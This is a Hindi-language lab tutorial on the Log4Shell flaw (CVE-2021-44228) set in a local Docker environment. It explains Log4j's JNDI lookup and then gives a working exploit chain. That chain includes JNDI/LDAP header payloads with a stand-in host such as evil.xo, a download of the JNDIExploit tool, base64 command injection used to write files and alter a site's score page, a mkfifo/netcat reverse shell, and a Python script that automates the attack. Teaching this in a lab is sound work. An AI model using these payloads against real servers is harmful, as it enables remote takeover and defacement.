
Log4Shell CVE-2021-44228 डेमो
2021 के अंत में साइबर सुरक्षा जगत की सबसे बड़ी खबर Log4j में खामी थी, जिसे CVE-2021-44228 के रूप में कोडित किया गया, जिसे Log4Shell भी कहा जाता है। CVSS भेद्यता रेटिंग प्रणाली में इसे सबसे गंभीर स्तर 10 का दर्जा दिया गया, और इसे हाल के वर्षों में Heartbleed और ShellShock के बाद सबसे महत्वपूर्ण भेद्यता माना जाता है। कुछ लोगों ने इसे 'परमाणु बम स्तर की भेद्यता' भी कहा, जो इसके प्रभाव की गहराई को दर्शाता है। यह विशेष अध्ययन CVE-2021-44228 का विश्लेषण करता है और लैब अभ्यास के साथ आता है।
Logfile (रिकॉर्ड फ़ाइल) एक फ़ाइल है जो चल रहे ऑपरेटिंग सिस्टम या सॉफ़्टवेयर में होने वाली घटनाओं को रिकॉर्ड करती है, या नेटवर्क चैट सॉफ़्टवेयर में उपयोगकर्ताओं के बीच भेजे गए संदेशों को रिकॉर्ड करती है। कई ऑपरेटिंग सिस्टम, सॉफ़्टवेयर फ्रेमवर्क और प्रोग्राम में लॉगिंग सिस्टम शामिल होते हैं। Java में एक बहुत उपयोगी लॉग पैकेज है जिसे Log4j कहा जाता है। यह पैकेज Apache सॉफ़्टवेयर फाउंडेशन के अंतर्गत आता है, इसलिए इसका पूरा नाम Apache Log4j है।
Log4j एक बहुत ही उपयोगी उपकरण है, जिसका व्यापक रूप से Java प्रोग्राम में उपयोग किया जाता है। कई बार सॉफ़्टवेयर इंजीनियरों को चल रहे प्रोग्राम का डेटा लॉग फ़ाइलों या बाद में उपयोग के लिए अन्य डेटाबेस में लिखने की आवश्यकता होती है। Log4j का उपयोग यही है - यह एक स्थान से एक स्ट्रिंग स्वीकार करता है (जैसे लॉगिन स्क्रीन पर दर्ज उपयोगकर्ता ID), और फिर उस स्ट्रिंग को किसी अन्य स्थान पर लिखता है (जैसे प्रमाणीकरण प्रक्रिया का डेटा इनपुट फ़ील्ड)। मूल कॉपी/पेस्ट के अलावा, Log4j स्ट्रिंग की सामग्री को देख और व्याख्या कर सकता है। और व्याख्या करना एक खतरनाक क्रिया है, क्योंकि जब तक प्रोग्राम स्ट्रिंग को पहले साफ़ नहीं करता, व्याख्या करने पर समस्याएँ उत्पन्न हो सकती हैं। Log4j स्ट्रिंग को पहले साफ़ किए बिना ही व्याख्या करता है, इसलिए हमलावरों को इंजेक्शन हमला (injection) करने का अवसर मिलता है।
CVE-2021-44228 एक गंभीर भेद्यता है क्योंकि यह एक Java सर्वर को बिना प्रमाणीकरण के एक हमलावर द्वारा RCE (Remote Code Execution, दूरस्थ कोड निष्पादन) करने की अनुमति देता है। यह भेद्यता log4j द्वारा लॉग संदेशों को संसाधित करने के तरीके से उत्पन्न होती है। यदि कोई हमलावर एक संसाधित संदेश भेजता है (जिसमें ${jndi:ldap://rogueldapserver.com/a} जैसी स्ट्रिंग शामिल है), तो इससे बाहरी कोड क्लास या मैसेज लुकअप लोड हो सकता है और उस प्रोग्राम का निष्पादन हो सकता है, जिससे RCE होता है।

RCE का मूल प्रवाह निम्नलिखित है।
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
कृपया पहले SEED Ubuntu 20.04 VM डाउनलोड करें, यह VM पूर्व-स्थापित Docker वातावरण प्रदान करता है। डाउनलोड
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
# Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
$ dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
चरणों को सरल बनाने के लिए, सभी सर्वर एक ही LAN के अंतर्गत हैं।

इस कार्य में उपयोगकर्ता यह समझ सकता है कि log4j कैसे काम करता है। उपयोगकर्ता X-Api-Version हेडर का उपयोग करके log4j के साथ लॉग रिकॉर्ड कर सकता है।
# <> उपयोगकर्ता द्वारा संशोधित करने का भाग
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
यदि सर्वर आपके द्वारा भेजे गए अनुरोध को सही ढंग से पार्स करता है, तो वह Hello World! लौटाएगा।
कृपया रिपोर्ट में सर्वर द्वारा लौटाए गए परिणाम और यह दर्ज करें कि सर्वर ने अनुरोध को सही ढंग से पार्स किया और लॉग रिकॉर्ड किया या नहीं।
वर्ष 2013 में, Log4j पैकेज में 'JNDILookup प्लगइन' जोड़ा गया, जो डेवलपर्स को JNDI को LDAP के साथ संयोजित करके बाहरी JNDITutorial से Java डेटा ऑब्जेक्ट प्राप्त करने की अनुमति देता है।
अब हम अभी उपयोग किए गए log4j को JNDIExploit के साथ संयोजित करेंगे ताकि सर्वर वह कमांड निष्पादित करे जो हम चाहते हैं।
# <> उपयोगकर्ता द्वारा संशोधित करने का भाग
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
कृपया /tmp फ़ोल्डर में एक secret.txt फ़ाइल बनाएँ, और सर्वर के अंदर जाकर पुष्टि करें कि फ़ाइल सफलतापूर्वक बनाई गई है या नहीं।
नोट-1: <content> में सीधे कमांड नहीं रखा जा सकता, इसे परिवर्तित करने की आवश्यकता है
नोट-2: क्योंकिvulnerable-appमें/bin/bashशेल उपलब्ध नहीं है, यदि फ़ाइल की पुष्टि करनी है तो Docker कमांड का उपयोग कर सकते हैं
$ docker exec vulnerable-app ls /tmp
पिछले कार्य के बाद, हमने पाया कि vulnerable-app हमलावर के किसी भी base64 कमांड को निष्पादित करता है। यदि हमलावर अधिक जटिल ऑपरेशन करना चाहता है, तो वह सर्वर को निष्पादित करने के लिए shell script हमला स्क्रिप्ट भेज सकता है।
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
ऊपर एक स्क्रिप्ट है जो वेबसाइट के स्कोर को संशोधित करती है; स्कोर index.html में संग्रहीत है। कृपया पहले इसे सफलतापूर्वक निष्पादित करें और अंतर बताएं। फिर इस स्क्रिप्ट को संशोधित करें ताकि स्कोर फ़ाइल आपकी इच्छित संख्या में बदल जाए।
नोट-1: फ़ाइल को संशोधित करने का एक सुविधाजनक तरीका
sedभी है
नोट-2: क्योंकिvulnerable-appउपयोगकर्ता को ब्राउज़र के माध्यम से /var/www देखने की अनुमति नहीं देता, यदि फ़ाइल की पुष्टि करनी है तो Docker कमांड का उपयोग करें
$ docker exec vulnerable-app cat /var/www/index.html
पिछले कार्य के बाद हम अपने इच्छित कमांड को base64 में बदलकर सर्वर को निष्पादित करा सकते हैं। सर्वर पर पूर्ण नियंत्रण प्राप्त करने के लिए, एक रिवर्स शेल बनाने के लिए कमांड का उपयोग कर सकते हैं।
# <> उपयोगकर्ता द्वारा संशोधित करने का भाग
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
सुविधा के लिए, हम एक Python स्क्रिप्ट प्रदान कर रहे हैं जिससे आप हमला कर सकते हैं।
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
नोट:
vulnerable-appमें/bin/bashऔर/dev/tcpनहीं है, इसलिए सामान्य रिवर्स शेल विधि का उपयोग नहीं किया जा सकता, लेकिन हम एक पाइप फ़ाइल बना सकते हैं और उस पर पढ़/लिख सकते हैं।
$ mkfifo <file-name>